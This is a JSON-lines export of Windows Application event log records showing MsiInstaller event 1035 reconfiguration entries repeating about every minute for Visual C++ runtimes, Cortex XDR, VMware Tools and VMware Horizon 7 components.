{"@timestamp":1657391170707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169680}}
{"@timestamp":1657391170733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169681}}
{"@timestamp":1657391170770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169682}}
{"@timestamp":1657391170796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169683}}
{"@timestamp":1657391230946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169684}}
{"@timestamp":1657391230973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169685}}
{"@timestamp":1657391231032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169686}}
{"@timestamp":1657391231073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169687}}
{"@timestamp":1657391231108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169688}}
{"@timestamp":1657391231142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169689}}
{"@timestamp":1657391231169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169690}}
{"@timestamp":1657391231195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169691}}
{"@timestamp":1657391231232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169692}}
{"@timestamp":1657391231260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169693}}
{"@timestamp":1657391290966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169694}}
{"@timestamp":1657391290994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169695}}
{"@timestamp":1657391291047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169696}}
{"@timestamp":1657391291086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169697}}
{"@timestamp":1657391291115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169698}}
{"@timestamp":1657391291146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169699}}
{"@timestamp":1657391291176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169700}}
{"@timestamp":1657391291207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169701}}
{"@timestamp":1657391291250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169702}}
{"@timestamp":1657391291279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169703}}
{"@timestamp":1657391350560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169704}}
{"@timestamp":1657391350586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169705}}
{"@timestamp":1657391350635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169706}}
{"@timestamp":1657391350674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169707}}
{"@timestamp":1657391350701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169708}}
{"@timestamp":1657391350731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169709}}
{"@timestamp":1657391350758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169710}}
{"@timestamp":1657391350785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169711}}
{"@timestamp":1657391350820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169712}}
{"@timestamp":1657391350848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169713}}
{"@timestamp":1657391412365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169714}}
{"@timestamp":1657391412393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169715}}
{"@timestamp":1657391412443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169716}}
{"@timestamp":1657391412483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169717}}
{"@timestamp":1657391412513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169718}}
{"@timestamp":1657391412545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169719}}
{"@timestamp":1657391412571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169720}}
{"@timestamp":1657391412597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169721}}
{"@timestamp":1657391412633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169722}}
{"@timestamp":1657391412660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169723}}
{"@timestamp":1657391470699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169724}}
{"@timestamp":1657391470725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169725}}
{"@timestamp":1657391470775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169726}}
{"@timestamp":1657391470813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169727}}
{"@timestamp":1657391470841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169728}}
{"@timestamp":1657391470871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169729}}
{"@timestamp":1657391470897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169730}}
{"@timestamp":1657391470923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169731}}
{"@timestamp":1657391470960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169732}}
{"@timestamp":1657391470987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169733}}
{"@timestamp":1657391530597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169734}}
{"@timestamp":1657391530622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169735}}
{"@timestamp":1657391530672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169736}}
{"@timestamp":1657391530711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169737}}
{"@timestamp":1657391530740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169738}}
{"@timestamp":1657391530774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169739}}
{"@timestamp":1657391530804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169740}}
{"@timestamp":1657391530831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169741}}
{"@timestamp":1657391530868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169742}}
{"@timestamp":1657391530896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169743}}
{"@timestamp":1657391590696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169744}}
{"@timestamp":1657391590722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169745}}
